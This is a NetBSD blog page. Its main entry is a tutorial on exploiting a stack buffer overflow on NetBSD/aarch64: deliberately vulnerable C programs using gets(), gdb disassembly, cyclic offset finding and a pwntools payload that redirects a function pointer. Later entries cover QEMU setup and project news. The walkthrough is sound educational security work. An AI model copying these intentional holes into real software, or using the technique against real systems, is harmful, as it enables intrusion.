hubertf's NetBSD Blog
Send interesting links to hubert at feyrer dot de!
 
[20260308] pwning NetBSD-aarch64 (ARM)

For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!

Here's an example of pwning on NetBSD/aarch64 (ARM).

Preparation

Step 0: Install NetBSD/aarch64, e.g. in qemu.

Setup the basics:

su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c "pkgin install sudo"
sudo pkgin install bash

Install pwntools & friends:

sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it

When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:

python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install "capstone<6" pwntools # same as on macos with angr

Install gef in its usual place, just in case:

sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py

gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):

(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan

pwn v1

First pwn attempt:

#include <stdio.h>
#include <stdlib.h>

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}

Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.

Let's build and see the security parameters:
(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

Not that many security features on by default. What's going on, NetBSD?!
Ignoring this for now, let's look at the assembly code:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 <+0>:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 <+4>:	mov	x29, sp
   0x00000002001009fc <+8>:	adrp	x0, 0x200100000
   0x0000000200100a00 <+12>:	add	x0, x0, #0xaf8
   0x0000000200100a04 <+16>:	bl	0x200100730 <printf@plt>
   0x0000000200100a08 <+20>:	add	x0, sp, #0x10
   0x0000000200100a0c <+24>:	bl	0x200100790 <gets@plt>
   0x0000000200100a10 <+28>:	add	x0, sp, #0x10
   0x0000000200100a14 <+32>:	mov	x1, x0
   0x0000000200100a18 <+36>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+40>:	add	x0, x0, #0xb10
   0x0000000200100a20 <+44>:	bl	0x200100730 <printf@plt>
   0x0000000200100a24 <+48>:	nop
   0x0000000200100a28 <+52>:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c <+56>:	ret
End of assembler dump.
(gdb)

Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.

pwn v2

Here we add a function pointer "goodbye" that can be overwritten:

#include <stdio.h>
#include <stdlib.h>

void lose(void)
{
	printf("Goodbye, loser.\n");
	exit(0);
}

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}

It's pretty obvious what's happening, but for the sake of completeness:

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.

Let's look at the assembly output again:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 <+0>:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 <+4>:	mov	x29, sp
   0x0000000200100a18 <+8>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+12>:	add	x0, x0, #0x9d8
   0x0000000200100a20 <+16>:	str	x0, [sp, #40]
   0x0000000200100a24 <+20>:	adrp	x0, 0x200100000
   0x0000000200100a28 <+24>:	add	x0, x0, #0xb38
   0x0000000200100a2c <+28>:	bl	0x200100730 <printf@plt>
   0x0000000200100a30 <+32>:	add	x0, sp, #0x18
   0x0000000200100a34 <+36>:	bl	0x200100790 <gets@plt>
   0x0000000200100a38 <+40>:	add	x0, sp, #0x18
   0x0000000200100a3c <+44>:	mov	x1, x0
   0x0000000200100a40 <+48>:	adrp	x0, 0x200100000
   0x0000000200100a44 <+52>:	add	x0, x0, #0xb50
   0x0000000200100a48 <+56>:	bl	0x200100730 <printf@plt>
=> 0x0000000200100a4c <+60>:	ldr	x0, [sp, #40]               <===
=> 0x0000000200100a50 <+64>:	blr	x0                          <===
   0x0000000200100a54 <+68>:	nop
   0x0000000200100a58 <+72>:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c <+76>:	ret
End of assembler dump.
(gdb)

Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.

By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:

(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb  -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>

The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........

Looks good, so call it:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Success

Voila, ARM pwnage on NetBSD! :-)

Summary:
(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm 

I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!

On security & compiler flags

Of course you can enable all the security flags shown above, with the proper gcc flags:
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
Exploiting this binary is left as an exercise to the reader.

[Tags: , , , , , , , ]


[20260308] Testdriving NetBSD-11.0RC2 on ARM hardware (in VM!)
After some (mostly ongoing) absence from NetBSD, and with NetBSD 11.0RC2 recently announced, I wanted to give it a try. I have moved to a ARM-based Apple machine, and thus x86 / amd64 was not the way to go. Instead, I wanted to see how NetBSD works on ARM these days. Here's how I got it going!

1st try: VirtualBox

NetBSD does not come with a VirtualBox image in 2026, so my workaround was to convert the provided .img file and convert it to a disk image file in VDI format.

Download:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz

Convert img to VDI:

qemu-img convert -f raw -O vdi arm64.img arm64.vdi

Setup VirtualBox VM with .vdi file as existing harddisk.

Result: VirtualBox (not the VM!) crashed. Oh well.

2nd try: QEMU

After VirtualBox didn't work, I wanted to see if qemu (running on MacOS) works. Spoiler: it does, and here are the steps to get things going:

First, grab the kernel:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz
...and gunzip. Make sure kernel and userland versions match!

Run in QEMU:

qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \
	-m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \
	-device virtio-blk-device,drive=hd0 -netdev user,id=net0 \
	-device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \
	-append root=dk1 -nographic

How to leave QEMU: Ctrl-A X

Troubleshooting: Make sure kernel and userland match - else random segfaults will happen.

Userland setup

Quite a few settings are already OK (sshd, dhcpcd, ntp), which is not the default I remember from a few years ago, but that's nice and convenient. I still wanted to see what config settings are new, and here are my additions to /etc/rc.conf:

hostname="qnetbsd"
rndctl=yes
certctl_init=yes
ip6mode=autohost
ntpdate=NO

On first login you will see an unsafe keys warning:

-- UNSAFE KEYS WARNING:

        The ssh host keys on this machine have been generated with
        not enough entropy configured, so they may be predictable.

        To fix, follow the "Adding entropy" section in the entropy(7)
        man page.  After this machine has enough entropy, re-generate
        the ssh host keys by running:

                /etc/rc.d/sshd keyregen

Fix by feeding entropy, then reboot:

echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf >/dev/random
shutdown -r now

Note: Use shutdown(8), not reboot(8) or poweroff(8) - only shutdown runs the hooks that save entropy.

After reboot, regenerate SSH keys:

/etc/rc.d/sshd keyregen

Success

neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \
  -drive if=none,format=raw,file=arm64.img,id=hd0 \
  -device virtio-blk-device,drive=hd0 \
  -netdev user,id=net0 -device virtio-net-device,netdev=net0 \
  -kernel netbsd-GENERIC64.img -append root=dk1 -nographic
[   1.0000000] NetBSD/evbarm (fdt) booting ...
[   1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
...
NetBSD/evbarm (qnetbsd) (constty)

login: root
NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
Welcome to NetBSD!

qnetbsd# uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Summary

Not providing a working VirtualBox image in 2026 is painful for new users. As Kali Linux works fine in VirtualBox on the same hardware, I'd say there is some way to go, NetBSD!

The manual setup works, but needs some tweaks beyond the expected (/etc/rc.conf), exp. manual entropy setup was surprising as network and disk were working ok. I did expect those to be used as sources of randomness before the first SSH keys are generated.

We'll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)



[Tags: , , , ]


[20211230] Back from the dead
I had to move servers a few months back, and in the process something went south with this blog. I've changed a few things, and the blog is alive now again.

As a matter of fact, I have little time for NetBSD these days, so don't expect many new articles. Just take this as a sign of life. :-)

Of course if you think I should add some entry on something here, drop me an email and who knows - maybe I can get things rolling again here?

[Tags: , ]


[20180317] The adventure of rebuilding g4u from source
I was asked by a long-time g4u user on help with rebuilding g4u from sources. After pointing at the instructions on the homepage, we figured out that a few lose odds and ends didin't match. After bouncing some advices back and forth, I ventured into the frabjous joy of starting a rebuild from scratch, and quick enough ran into some problems, too.

Usually I cross-compile g4u from Mac OS X, but for the fun of it I did it on NetBSD (7.0-stable branch, amd64 architecture in VMware Fusion) this time. After waiting forever on the CVS checkout, I found that empty directories were not removed - that's what you get if you have -P in your ~/.cvsrc file.

I already had the hint that the "g4u-build" script needed a change to have "G4U_BUILD_KERNEL=true".

From there, things went almost smooth: building indicated a few files that popped up "variable may be used uninitialized" errors, and which -- thanks to -Werror -- bombed out the build. Fixing was easy, and I have no idea why that built for me on the release. I have sent a patch with the required changes to the g4u-help mailing list. (After fixing that I apparently got unsubscribed from my own support mailing list - thank you very much, Sourceforge ;)).

After those little hassles, the build worked fine, and gave me the floppy disk and ISO images that I expected:

>       ls -l `pwd`/g4u*fs
>       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u1.fs
>       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u2.fs
>       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u3.fs
>       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u4.fs
>       ls -l `pwd`/g4u.iso
>       -rw-r--r--  2 feyrer  staff  6567936 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u.iso
>       ls -l `pwd`/g4u-kernel.gz
>       -rw-r?r--  1 feyrer  staff  6035680 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u-kernel.gz 
Next steps are to confirm the above changes as working from my faithful tester, and then look into how to merge this into the build instructions .

[Tags: ]


[20180119] No more Google ads
I've had Google Adsense advertising for quite a while on my blog, the g4u homepage and various other pages. In the start a little bit of money came in. This has all dried up long since, and in light of privacy regulations like the EU GDPR I've decided to not give away my users' data to Google any longer. So, there it is - my blog and other pages are free for your use now, and you are no longer the product being sold. Enjoy! :-)

(If you find any remaining advertisement, drop me a line!)



[Tags: , ]


[20180104] NetBSD 7.1.1 released
On December 22nd, NetBSD 7.1.1 was released as premature christmas present, see the release annoucement.

NetBSD 7.1.1 is the first update with security and critical fixes for the NetBSD 7.1 branch. Those include a number of fixes for security advisories, kernel and userland.

[Tags: ]


[20180104] New year, new security advisories!
So things have become a bit silent here, which is due to reallife - my apologies. Still, I'd like to wish everyone following this here a Happy New Year 2018! And with this, a few new security advisories have been published:

[Tags: ]


[20180104] 34C3 talk: Are all BSDs created equally?
I haven't seen this mentioned on the NetBSD mailing lists, and this may be of interest to some - there was a talk about security bugs in the various BSDs at the 34th Chaos Communication Congress:

In summary, many reasons for bugs are shown in many areas of the kernel (system calls, file systems, network stack, compat layer, ...), and what has happened after they were made known to the projects.

As a hint, NetBSD still has a number of Security Advisories to publish, it seems. Anyone wants to help out the security team? :-)

[Tags: , ]


[20170608] g4u 2.6 released
After a five-year period for beta-testing and updating, I have finally released g4u 2.6. With its origins in 1999, I'd like to say: Happy 18th Birthday, g4u!

About g4u: g4u ("ghosting for unix") is a NetBSD-based bootfloppy/CD-ROM that allows easy cloning of PC harddisks to deploy a common setup on a number of PCs using FTP. The floppy/CD offers two functions. The first is to upload the compressed image of a local harddisk to a FTP server, the other is to restore that image via FTP, uncompress it and write it back to disk. Network configuration is fetched via DHCP. As the harddisk is processed as an image, any filesystem and operating system can be deployed using g4u. Easy cloning of local disks as well as partitions is also supported.

The past: When I started g4u, I had the task to install a number of lab machines with a dual-boot of Windows NT and NetBSD. The hype was about Microsoft's "Zero Administration Kit" (ZAK) then, but that did barely work for the Windows part - file transfers were slow, depended on the clients' hardware a lot (requiring fiddling with MS DOS network driver disks), and on the ZAK server the files for installing happened do disappear for no good reason every now and then. Not working well, and leaving out NetBSD (and everything elase), I created g4u. This gave me the (relative) pain of getting things working once, but with the option to easily add network drivers as they appeared in NetBSD (and oh they did!), plus allowed me to install any operating system.

The present: We've used g4u successfully in our labs then, booting from CDROM. I also got many donations from public and private instituations plus comanies from many sectors, indicating that g4u does make a difference.

In the mean time, the world has changed, and CDROMs aren't used that much any more. Network boot and USB sticks are today's devices of choice, cloning of a full disk without knowing its structure has both advantages but also disadvantages, and g4u's user interface is still command-line based with not much space for automation. For storage, FTP servers are nice and fast, but alternatives like SSH/SFTP, NFS, iSCSI and SMB for remote storage plus local storage (back to fun with filesystems, anyone? avoiding this was why g4u was created in the first place!) should be considered these days. Further aspects include integrity (checksums), confidentiality (encryption). This leaves a number of open points to address either by future releases, or by other products.

The future: At this point, my time budget for g4u is very limited. I welcome people to contribute to g4u - g4u is Open Source for a reason. Feel free to get back to me for any changes that you want to contribute!

The changes: Major changes in g4u 2.6 include:

  • Make this build with NetBSD-current sources as of 2017-04-17 (shortly before netbsd-8 release branch), binaries were cross-compiled from Mac OS X 10.10
  • Many new drivers, bugfixes and improvements from NetBSD-current (see beta1 and beta2 announcements)
  • Go back to keeping the disk image inside the kernel as ramdisk, do not load it as separate module. Less error prone, and allows to boot the g4u (NetBSD) kernel from a single file e.g. via PXE (Testing and documentation updates welcome!)
  • Actually DO provide the g4u (NetBSD) kernel with the embedded g4u disk image from now on, as separate file, g4u-kernel.gz
  • In addition to MD5, add SHA512 checksums
The software: Please see the g4u homepage's download section on how to get and use g4u.

Enjoy!

[Tags: , ]


[20170608] Native Command Queuing - merging and testing
Jaromir Dolecek has worked on NCQ and is looking for testers in context of merging the development branch into NetBSD-current.

What is NCQ? According to Wikipedia, ``Native Command Queuing (NCQ) is an extension of the Serial ATA protocol allowing hard disk drives to internally optimize the order in which received read and write commands are executed. This can reduce the amount of unnecessary drive head movement, resulting in increased performance (and slightly decreased wear of the drive) for workloads where multiple simultaneous read/write requests are outstanding, most often occurring in server-type applications.''

Jaromir writes to tech-kern: ``I plan to merge the branch to HEAD very soon, likely over the weekend. Eventual further fixes will be done on HEAD already, including mvsata(4) restabilization, and potential switch of siisata(4) to support NCQ.

The plan is to get this pulled up to netbsd-8 branch soon also, so that it will be part of 8.0.

Status:

  • ahci(4) fully working with NCQ (confirmed with qemu, and real hw)
  • piixide(4) continues working (no NCQ support of course) (confirmed in qemu)
  • siisata(4) continues working (without NCQ still) (confirmed with real hw)
  • mvsata(4) not yet confirmed working after changes, mainly due the DMA not really working on Marvell 88SX6042 which I have available - I have same issue as kern/52126
  • other ide/sata drivers received mechanical changes, should continue working as before''
Testing and feedback of success or suggestions for improvemenbt are always welcome - please send your report!

[Tags: , , ]


Previous 10 entries
Disclaimer: All opinion expressed here is purely my own. No responsibility is taken for anything.

Access count: 38347718
Copyright (c) Hubert Feyrer